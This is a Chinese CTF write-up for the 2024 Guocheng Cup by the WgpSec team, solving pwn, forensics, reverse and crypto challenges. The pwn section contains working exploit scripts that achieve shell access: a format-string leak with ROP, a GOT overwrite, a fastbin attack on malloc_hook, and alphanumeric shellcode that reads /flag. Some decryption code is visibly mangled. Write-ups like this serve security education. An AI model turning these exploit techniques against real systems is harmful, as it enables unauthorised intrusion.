我们新点击蓝字
关注我们
声明
本文作者:CTF战队
本文字数:23779字
阅读时长:约60分钟
附件/链接:点击查看原文下载
本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。
狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
团队每周会报名参加各类CTF比赛,writeup在公众号更新。
我们建立了一个关于CTF的公开交流群,大家赛后可以交流技巧思路。
http://ctf2024.goolcent.com
Pwn
Offensive security
有格式化字符串漏洞,泄漏密码和libc地址,爆破出libc版本拿shell
from pwn import *
context(arch='amd64',os='linux')
context.terminal = ["tmux", "splitw", "-h"]
#io=process("./chal")
io=remote("125.70.243.22",31975)
r = lambda a : io.recv(a)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
shell = lambda : io.interactive()
def debug():
gdb.attach(io)
sla(":","%7$s")
rl()
rl()
leak=rl()
libc=u64(leak[8:]+"x00"*2)-0x21b780
print hex(libc)
password=leak[:8]
sa(":",password)
sla(":","12345678")
sl("12345678")
#libc6_2.35-0ubuntu3.6_amd64
ret=0x0400462
pop_rdi=0x0400661
binsh=libc+0x1d8678
system=libc+0x050d70
p="A"*40+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sla(">",p)
shell()
Beverage store
可以填负数,写got表拿shell
from pwn import *
context(arch='amd64',os='linux')
context.terminal = ["tmux", "splitw", "-h"]
#io=process("./pwn")
io=remote("125.70.243.22",31700)
r = lambda a : io.recv(a)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
shell = lambda : io.interactive()
def debug():
gdb.attach(io)
sla("id","A"*16)
sla(":","2045728160")
sla("wine","-4")
s(p64(0x040133B))
sla("wine","-5")
s("xf0")
ru("succeedn")
leak=rl()+"x00"*2
leak=u64(leak)-0x815f0
print hex(leak)
sla("wine","-7")
s(p64(leak+0x50d70))
sla("wine","-4")
s(p64(0x0401511))
shell()
vtable_hijack
释放一个unsorted块拿leak,之后fastbin 攻击写one gadget在malloc hook上
from pwn import *
context(arch='amd64',os='linux')
context.terminal = ["tmux", "splitw", "-h"]
#io=process("./pwn")
io=remote("125.70.243.22",31291)
r = lambda a : io.recv(a)
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
shell = lambda : io.interactive()
def debug():
gdb.attach(io)
def add(idx,size):
sla(":","1")
sla(":",str(idx))
sla(":",str(size))
def free(idx):
sla(":","2")
sla(":",str(idx))
def edit(idx,size,content):
sla(":","3")
sla(":",str(idx))
sla(":",str(size))
sa(":",content)
def show(idx):
sla(":","4")
sla(":",str(idx))
add(0,0x90)
add(1,0x10)
free(0)
show(0)
rl()
libc=u64(rl()+"x00"*2)-0x39bb78
print hex(libc)
hook=libc+0x39baed
system=libc+0x3f560
add(2,0x60)
add(3,0x10)
free(2)
edit(2,0x10,p64(hook))
add(0,0x60)
add(0,0x60)
edit(0,0x100,"A"*0x13+p64(libc+0xd5c07))
add(1,0x10)
shell()
Alpha Shell
长度给了0x150,直接工具生成就行。。。
from pwn import *
from ae64 import AE64
context.arch = "amd64"
shell = shellcraft.amd64.openat(-100, "/flag", 0)
shell += shellcraft.amd64.sendfile(1, 3, 0, 0x70)
enc_shellcode = AE64().encode(asm(shell),"rdx",0,"fast")
io = process("./pwn")
io.recvline()
io.send(enc_shellcode)
io.interactive()
Misc
Just_F0r3n51Cs
flag1
AES密钥
ECB's key is
N11c3TrYY6666111
记得给我秋秋空间点赞
查看QQ号为293519770的用户QQ空间
我差不多就是这种小猫咪,表面上单纯天真,实际上圆滑通透。你不可能算计得了本喵,因为从一开始你就被本喵布局了。本喵是棋手,而你只是棋子,若你违逆本喵,你会知道什么是残酷和黑暗。本喵从来不缺雷霆手段也不缺菩萨心肠,本喵心中有佛喵喵也有魔喵喵,但我把魔喵喵深深的封印起来了,只剩下佛喵喵了,我本想以菩萨喵喵心肠面对所有人,可是有些人非要我把心中的魔喵喵解除封印,那我想问问你们,当你们面对一个真正的魔喵喵现世,你们还镇的住吗?
5e19e708fa1a2c98d19b1a92ebe9c790d85d76d96a6f32ec81c59417595b73ad
AES解密出
flag1:D0g3xGC{Y0u_
flag2
1、计算机注册时设置的用户名(答案格式:Bo6)
2、计算机当前操作系统的产品名称,若有空格则用下划线代替(答案格式:Windows_Server_2016)
3、计算机当前安装的 Mozilla Firefox 浏览器的版本号,保留一位小数(答案格式:91.0)
最终压缩包密码格式:B06_Windows_Server_2016_91.0
D0g3xGC_Windows_7_Ultimate_115.0
flag2:h4V3_f0und_7H3_
flag3
1、计算机用户D0g3xGC登录时的密码(答案格式:a123456+)
2、账号[email protected]登录otterctf网站时的密码(答案格式:PA55word)
最终压缩包密码格式:a123456+_PA55word
qwe123!@#_Y0u_f1Nd^_^m3_233
压缩包解密得:
通过文件名字得到 catWatermark
https://github.com/Konano/CatWatermark/blob/main/decode.py
https://blog.wm-team.cn/index.php/archives/37/#%E6%9D%A5%E8%87%AA%E5%96%B5%E6%98%9F%E7%90%83%E7%9A%84%E9%97%AE%E5%80%99
找到解密脚本参考阿里云CTF
编写爆破脚本
import sys
import numpy as np
from PIL import Image
import itertools
def arnold_cat_map(image, key=(1, 2, 1)):
"""
Implements Arnold's cat map transformation on an image.
"""
height, width, *_ = image.shape
offset_x, offset_y, iterations = key
new_image = np.zeros(image.shape, dtype=np.uint8)
for i in range(iterations):
for x in range(height):
for y in range(width):
_x, _y = x, y
_y = (_y + offset_x * _x) % width
_x = (_x + offset_y * _y) % height
new_image[_x, _y] = image[x, y]
return new_image
def arnold_cat_map_rev(image, key=(1, 2, 1)):
"""
Implements Arnold's cat map transformation on an image (reverse).
"""
height, width, *_ = image.shape
offset_x, offset_y, iterations = key
new_image = np.zeros(image.shape, dtype=np.uint8)
for i in range(iterations):
for x in range(height):
for y in range(width):
_x, _y = x, y
_x = (_x - offset_y * _y) % height
_y = (_y - offset_x * _x) % width
new_image[_x, _y] = image[x, y]
return new_image
def extract_watermark(original_image_path, watermarked_image_path, output_image_path, private_key):
"""
Extracts a text watermark from a watermarked image using the Arnold's cat map transformation.
"""
# Open the original image
original_image = np.array(Image.open(original_image_path).convert("RGB"))
# Open the watermarked image
watermarked_image = np.array(Image.open(watermarked_image_path).convert("RGB"))
assert watermarked_image.shape == original_image.shape
# Extract the watermark from the watermarked image
original_image ^= watermarked_image
transformed_image = arnold_cat_map(original_image, private_key)
transformed_image[transformed_image > 0] = 255
transformed_image = 255 - transformed_image
# Save the extracted watermark
Image.fromarray(np.uint8(transformed_image)).save(output_image_path)
original_image_path = sys.argv[1]
watermarked_image_path = sys.argv[2]
dx_values = range(1, 10) # 1 to 5 (you can adjust the range)
dy_values = range(1, 10) # 1 to 5 (you can adjust the range)
for dx, dy in itertools.product(dx_values, dy_values):
# Construct a unique output filename for each combination
output_file = f"123_{dx}_{dy}.png"
print(f"Processing with dx={dx}, dy={dy}")
# Generate the watermark with the current dx and dy
extract_watermark(original_image_path, watermarked_image_path, output_file, (dx, dy, 1))
在6-6时候得到完整结果
F1N4L_s3CR3t_0F_Th15_
flag4
从enc_png.exe得知只有一个简单的异或
flag1
D0g3xGC{Y0u_
flag2
h4V3_f0und_7H3_
flag3
F1N4L_s3CR3t_0F_Th15_
flag4
F0R3N51c5_Ch4Ll3N93}
Tr4ffIc_w1th_Ste90
https://goto.pachanka.org/crypto/pgp-wordlist/
追踪UDP另存为TS
提示给了50到70 ,seed是随机的也就是在这之间
https://tuzim.net/decode/
Reverse
Crush's_secret
❝
你的Crush貌似想对你说,但她的思绪貌似被打断了,可以帮助她找回思绪吗
附件拖入ida
加密函数是乱码,而且段名是SMC,那么肯定有地方是修改的,对VirtualProtect函数查引用
没有反调试,那么直接下断点调试即可
检查完是标准的xxtea加密,直接上脚本
#include <stdio.h>
#include<string.h>
#include<stdint.h>
#include <stdlib.h>
#include <time.h>
#include<windows.h>
#define DELTA 0x9E3779B9
#define MX (((z^(key[e^(p&3)])))+(y^sum))^(((16*z)^(y>>3))+((4*y)^(z>>5)))
void xxtea_de(uint32_t* v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned int p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52 / n;
sum = 0;
z = v[n - 1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
{
y = v;
z = v
+= MX;
}
y = v[0];
z = v[n - 1] += MX;
} while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52 / n;
sum = rounds * DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
{
z = v
;
y = v
-= MX;
}
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
} while (--rounds);
}
}
int main() {
uint32_t v[] = { 0x5A764F8A ,0x5B0DF77 ,0xF101DF69 ,0xF9C14EF4 ,0x27F03590 ,0x7DF3324F ,0x2E322D74 ,0x8F2A09BC ,0xABE2A0D7 ,0xC2A09FE ,0x35892BB2 ,0x53ABBA12 };
uint32_t k[] = { 0x5201314 ,0x52013140,0x5201314,0x52013140 };
for (int i = 0; i < 6; i++) {
uint32_t tmp[3] = { v[i * 2],v[i * 2 + 1],0 };
xxtea_de(tmp, -2, k);
printf("%s", (char*)tmp);
}
return 0;
}
round
❝
不要卷我了,来做做简单的安卓题放松一下吧(,,・ω・,,)
附件拖入jadx
用户名部分就一个魔改base64,理解一下嵌套的三元运算符的取值关系即可。同时得到下一步需要的数组
#include <stdio.h>
#include<string.h>
#include<stdint.h>
#include <stdlib.h>
#include <time.h>
#include<windows.h>
// Base64字符表
const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
// 查找给定字符在Base64字符表中的索引
int b64_find_index(char c) {
const char* p = strchr(base64_chars, c);
return (p != NULL) ? p - base64_chars : -1;
}
// Base64解码函数
void base64_decode(const char* input, char* output) {
int len = strlen(input);
int i, j;
unsigned char a, b, c, d;
for (i = 0, j = 0; i < len && input[i] != '='; i += 4, j += 3) {
a = (unsigned char)(b64_find_index(input[i]));
b = (unsigned char)(b64_find_index(input[i + 1]));
c = (unsigned char)(b64_find_index(input[i + 2]));
d = (unsigned char)(b64_find_index(input[i + 3]));
output[j] = (a << 2) | (c >> 4);
output[j + 1] = (c << 4) | (b >> 2);
output[j + 2] = (b << 6) | d;
}
// 处理补位
int padding = 0;
if (input[len - 2] == '=') {
padding = 2;
}
else if (input[len - 1] == '=') {
padding = 1;
}
j -= padding;
for (i = len - padding; i < len; i++) {
output[j++] = 0;
}
}
int* makebox(char* s) {
int* s1 = (int*)malloc(sizeof(int) * 1024);
if (!s1) {
return NULL;
}
for (int i = 0; i < 1024; i++) {
s1[1023 - i] = i;
}
for (int i = 0; i < 1024; i++) {
s1[i] = s1[i] ^ s[i % strlen(s)];
}
return s1;
}
int main() {
char s1[] = { "c9m1bRmfY5Wk" };
char s2[64] = { 0 };
base64_decode(s1, s2);
printf("%s", s2);
//round_and
int* s3 = makebox(s1);
for (int i = 0; i < 1024; i++) {
printf("%d,", s3[i]);
}
return 0;
}
数组有了,那么round函数参数一是已知的,就一个密码,逐字符进行运算,所以考虑爆破
import javax.crypto.Cipher;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.MessageDigest;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import java.util.Scanner;
public class Main {
public static class Result {
private int num;
private int rip;
public Result(int i, int i2) {
this.num = i;
this.rip = i2;
}
public int getNum() {
return this.num;
}
public int getRip() {
return this.rip;
}
}
public static Result add(int[] iArr, int i, int i2) {
int i3 = (((i + iArr[i2]) % 1024) + 1024) % 1024;
return new Result(i3, (i2 + i3) % 1024);
}
public static Result sub(int[] iArr, int i, int i2) {
int i3 = (((i - iArr[i2]) % 1024) + 1024) % 1024;
return new Result(i3, (i2 + i3) % 1024);
}
public static Result xor(int[] iArr, int i, int i2) {
int i3 = (iArr[i2] ^ i) % 1024;
return new Result(i3, (i2 + i3) % 1024);
}
public static Result shl(int i, int i2) {
int i3 = (i >> 3) % 1024;
return new Result(i3, (i2 + i3) % 1024);
}
public static Result shr(int i, int i2) {
int i3 = (i << 3) % 1024;
return new Result(i3, (i2 + i3) % 1024);
}
public static void main(String[] args) {
int[] iArr = {924, 967, 912, 973, 921, 936, 916, 926, 942, 963, 930, 927, 912, 971, 924, 961, 909, 956, 896, 906, 946, 991, 958, 899, 900, 991, 904, 981, 897, 944, 908, 902, 902, 1003, 906, 951, 952, 995, 948, 1001, 949, 900, 952, 946, 906, 999, 902, 955, 940, 1015, 928, 1021, 937, 920, 932, 942, 926, 1011, 914, 943, 928, 1019, 940, 1009, 989, 1004, 976, 986, 994, 911, 1006, 979, 980, 911, 984, 901, 977, 992, 988, 982, 1014, 923, 1018, 967, 968, 915, 964, 921, 965, 1012, 968, 962, 1018, 919, 1014, 971, 1020, 935, 1008, 941, 1017, 968, 1012, 1022, 974, 931, 962, 1023, 1008, 939, 1020, 929, 1005, 988, 992, 1002, 978, 959, 990, 995, 996, 959, 1000, 949, 993, 976, 1004, 998, 806, 843, 810, 791, 792, 835, 788, 841, 789, 804, 792, 786, 810, 839, 806, 795, 780, 855, 768, 861, 777, 824, 772, 782, 830, 851, 818, 783, 768, 859, 780, 849, 829, 780, 816, 826, 770, 879, 782, 819, 820, 879, 824, 869, 817, 768, 828, 822, 790, 891, 794, 807, 808, 883, 804, 889, 805, 788, 808, 802, 794, 887, 790, 811, 860, 775, 848, 781, 857, 872, 852, 862, 878, 771, 866, 863, 848, 779, 860, 769, 845, 892, 832, 842, 882, 799, 894, 835, 836, 799, 840, 789, 833, 880, 844, 838, 838, 811, 842, 887, 888, 803, 884, 809, 885, 836, 888, 882, 842, 807, 838, 891, 876, 823, 864, 829, 873, 856, 868, 878, 862, 819, 850, 879, 864, 827, 876, 817, 669, 684, 656, 666, 674, 719, 686, 659, 660, 719, 664, 709, 657, 672, 668, 662, 694, 731, 698, 647, 648, 723, 644, 729, 645, 692, 648, 642, 698, 727, 694, 651, 700, 743, 688, 749, 697, 648, 692, 702, 654, 739, 642, 703, 688, 747, 700, 737, 685, 668, 672, 682, 658, 767, 670, 675, 676, 767, 680, 757, 673, 656, 684, 678, 742, 651, 746, 727, 728, 643, 724, 649, 725, 740, 728, 722, 746, 647, 742, 731, 716, 663, 704, 669, 713, 760, 708, 718, 766, 659, 754, 719, 704, 667, 716, 657, 765, 716, 752, 762, 706, 687, 718, 755, 756, 687, 760, 677, 753, 704, 764, 758, 726, 699, 730, 743, 744, 691, 740, 697, 741, 724, 744, 738, 730, 695, 726, 747, 540, 583, 528, 589, 537, 552, 532, 542, 558, 579, 546, 543, 528, 587, 540, 577, 525, 572, 512, 522, 562, 607, 574, 515, 516, 607, 520, 597, 513, 560, 524, 518, 518, 619, 522, 567, 568, 611, 564, 617, 565, 516, 568, 562, 522, 615, 518, 571, 556, 631, 544, 637, 553, 536, 548, 558, 542, 627, 530, 559, 544, 635, 556, 625, 605, 620, 592, 602, 610, 527, 622, 595, 596, 527, 600, 517, 593, 608, 604, 598, 630, 539, 634, 583, 584, 531, 580, 537, 581, 628, 584, 578, 634, 535, 630, 587, 636, 551, 624, 557, 633, 584, 628, 638, 590, 547, 578, 639, 624, 555, 636, 545, 621, 604, 608, 618, 594, 575, 606, 611, 612, 575, 616, 565, 609, 592, 620, 614, 422, 459, 426, 407, 408, 451, 404, 457, 405, 420, 408, 402, 426, 455, 422, 411, 396, 471, 384, 477, 393, 440, 388, 398, 446, 467, 434, 399, 384, 475, 396, 465, 445, 396, 432, 442, 386, 495, 398, 435, 436, 495, 440, 485, 433, 384, 444, 438, 406, 507, 410, 423, 424, 499, 420, 505, 421, 404, 424, 418, 410, 503, 406, 427, 476, 391, 464, 397, 473, 488, 468, 478, 494, 387, 482, 479, 464, 395, 476, 385, 461, 508, 448, 458, 498, 415, 510, 451, 452, 415, 456, 405, 449, 496, 460, 454, 454, 427, 458, 503, 504, 419, 500, 425, 501, 452, 504, 498, 458, 423, 454, 507, 492, 439, 480, 445, 489, 472, 484, 494, 478, 435, 466, 495, 480, 443, 492, 433, 285, 300, 272, 282, 290, 335, 302, 275, 276, 335, 280, 325, 273, 288, 284, 278, 310, 347, 314, 263, 264, 339, 260, 345, 261, 308, 264, 258, 314, 343, 310, 267, 316, 359, 304, 365, 313, 264, 308, 318, 270, 355, 258, 319, 304, 363, 316, 353, 301, 284, 288, 298, 274, 383, 286, 291, 292, 383, 296, 373, 289, 272, 300, 294, 358, 267, 362, 343, 344, 259, 340, 265, 341, 356, 344, 338, 362, 263, 358, 347, 332, 279, 320, 285, 329, 376, 324, 334, 382, 275, 370, 335, 320, 283, 332, 273, 381, 332, 368, 378, 322, 303, 334, 371, 372, 303, 376, 293, 369, 320, 380, 374, 342, 315, 346, 359, 360, 307, 356, 313, 357, 340, 360, 354, 346, 311, 342, 363, 156, 199, 144, 205, 153, 168, 148, 158, 174, 195, 162, 159, 144, 203, 156, 193, 141, 188, 128, 138, 178, 223, 190, 131, 132, 223, 136, 213, 129, 176, 140, 134, 134, 235, 138, 183, 184, 227, 180, 233, 181, 132, 184, 178, 138, 231, 134, 187, 172, 247, 160, 253, 169, 152, 164, 174, 158, 243, 146, 175, 160, 251, 172, 241, 221, 236, 208, 218, 226, 143, 238, 211, 212, 143, 216, 133, 209, 224, 220, 214, 246, 155, 250, 199, 200, 147, 196, 153, 197, 244, 200, 194, 250, 151, 246, 203, 252, 167, 240, 173, 249, 200, 244, 254, 206, 163, 194, 255, 240, 171, 252, 161, 237, 220, 224, 234, 210, 191, 222, 227, 228, 191, 232, 181, 225, 208, 236, 230, 38, 75, 42, 23, 24, 67, 20, 73, 21, 36, 24, 18, 42, 71, 38, 27, 12, 87, 0, 93, 9, 56, 4, 14, 62, 83, 50, 15, 0, 91, 12, 81, 61, 12, 48, 58, 2, 111, 14, 51, 52, 111, 56, 101, 49, 0, 60, 54, 22, 123, 26, 39, 40, 115, 36, 121, 37, 20, 40, 34, 26, 119, 22, 43, 92, 7, 80, 13, 89, 104, 84, 94, 110, 3, 98, 95, 80, 11, 92, 1, 77, 124, 64, 74, 114, 31, 126, 67, 68, 31, 72, 21, 65, 112, 76, 70, 70, 43, 74, 119, 120, 35, 116, 41, 117, 68, 120, 114, 74, 39, 70, 123, 108, 55, 96, 61, 105, 88, 100, 110, 94, 51, 82, 111, 96, 59, 108, 49};
int[] iArr3 = {352, 646, 752, 882, 65, 0, 122, 0, 0, 7, 350, 360};
Result add;
//68 468 72 582 77 896 81 959 86 485 98 327 116 213 5的情况
int rip = 292;//33 795 887 962 638 243
//for (int i2 = 0; i2 < 12; i2++) {
for (int j = 65; j < 123; j++) {
if ((j > 90 && j < 97) && j != 95) {
continue;
}
int tmp = j;
int i = rip;
for (int i3 = 0; i3 < 32; i3++) {
int i4 = (((iArr[i] ^ tmp) % 5) + 5) % 5;
if (i4 == 0) {
add = add(iArr, tmp, i);
} else if (i4 == 1) {
add = sub(iArr, tmp, i);
} else if (i4 == 2) {
add = xor(iArr, tmp, i);
} else if (i4 == 3) {
add = shl(tmp, i);
} else if (i4 == 4) {
add = shr(tmp, i);
} else {
add = new Result(tmp, i);
}
tmp = add.getNum();
i = add.getRip();
}
if (tmp == iArr3[9]) {
System.out.println((char)j+" "+i);
//rip = i;
//break;
}
}
//}
//95 114 111 117 110
//_roun
}
}
但是没想到会有结果不唯一的情况,懒得动脑写脚本所以又手撕了一部分
Crypto
Curve
爱德华曲线映射即可
from Crypto.Util.number import *
p = 64141017538026690847507665744072764126523219720088055136531450296140542176327
a = 362
d = 7
e=0x10001
c=1
eG = (34120664973166619886120801966861368419497948422807175421202190709822232354059, 11301243831592615312624457443883283529467532390028216735072818875052648928463)
#part2 map to ECC
F = GF(p)
dd = F(d*c^4)
A = F(2) * F(a+dd) / F(a-dd)
B = F(4) / F(a-dd)
a = F(3-A^2) / F(3*B^2)
b = F(2*A^3-9*A) / F(27*B^3)
def edwards_to_ECC(x,y):
x1 = F(x) / F(c)
y1 = F(y) / F(c)
#now curve is a*x^2+y^2 = 1+dd*x^2*y^2
x2 = F(1+y1) / F(1-y1)
y2 = F(x2) / F(x1)
#now curve is By^2 = x^3 + Ax^2 + x
x3 = (F(3*x2) + F(A)) / F(3*B)
y3 = F(y2) / F(B)
#now curve is y^2 = x^3 + ax + b
return (x3,y3)
def ECC_to_edwards(x,y):
x2 = (F(x) * F(3*B) - F(A)) / F(3)
y2 = F(y) * F(B)
#now curve is By^2 = x^3 + Ax^2 + x
x1 = F(x2) / F(y2)
y1 = F(1) - (F(2) / F(x2+1))
#now curve is a*x^2+y^2 = 1+dd*x^2*y^2
x_ = F(x1) * F(c)
y_ = F(y1) * F(c)
#now curve is a*x^2+y^2 = c^2(1+d*x^2*y^2)
return (x_,y_)
E = EllipticCurve(GF(p), [a, b])
order = E.order()
eG = E(edwards_to_ECC(eG[0],eG[1]))
t = inverse(e,order)
G = t*eG
G = ECC_to_edwards(G[0],G[1])
print(long_to_bytes(int(G[0])))
baby_rsa
已知edN,直接套L神的脚本即可
from Crypto.Util.number import *
from gmpy2 import *
import random
N = 539403894871945779827202174061302970341082455928364137444962844359039924160163196863639732747261316352083923762760392277536591121706270680734175544093484423564223679628430671167864783270170316881238613070741410367403388936640139281272357761773388084534717028640788227350254140821128908338938211038299089224967666902522698905762169859839320277939509727532793553875254243396522340305880944219886874086251872580220405893975158782585205038779055706441633392356197489
d = 58169755386408729394668831947856757060407423126014928705447058468355548861569452522734305188388017764321018770435192767746145932739423507387500606563617116764196418533748380893094448060562081543927295828007016873588530479985728135015510171217414380395169021607415979109815455365309760152218352878885075237009
c = 82363935080688828403687816407414245190197520763274791336321809938555352729292372511750720874636733170318783864904860402219217916275532026726988967173244517058861515301795651235356589935260088896862597321759820481288634232602161279508285376396160040216717452399727353343286840178630019331762024227868572613111538565515895048015318352044475799556833174329418774012639769680007774968870455333386419199820213165698948819857171366903857477182306178673924861370469175
e=N
def divide_pq(e, d, n):
k = e*d - 1
while True:
g = random.randint(2, n-1)
t = k
while True:
if t % 2 != 0:
break
t //= 2
x = pow(g, t, n)
if x > 1 and gmpy2.gcd(x-1, n) > 1:
p = gmpy2.gcd(x-1, n)
return (p, n//p)
p,q=divide_pq(e,d,N)
print(p)
print(q)
p=79383306134947424796765954824015864390078583902302636527808026816952829265734994276325635699794430479702821928289625118815325887659007643266349948296318807317582134486508441170880662166050894191177907221139536796434252181713457621118705394280613626457816073091127751846643375030866224594198586067838678842497
q=6794928570435044209030833867549069695672243994881591721813098774596108837421399268704431701833380412609102066316818356763155159992836983459691442967908337
phi=(p-iroot(p,2)[0])*(q-1)
d=inverse(e,phi)
m=pow(c,d,(q))
print(long_to_bytes(m))
作者
CTF战队
ctf.wgpsec.org
原文始发于微信公众号(WgpSec狼组安全团队):国城杯 · 2024 WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论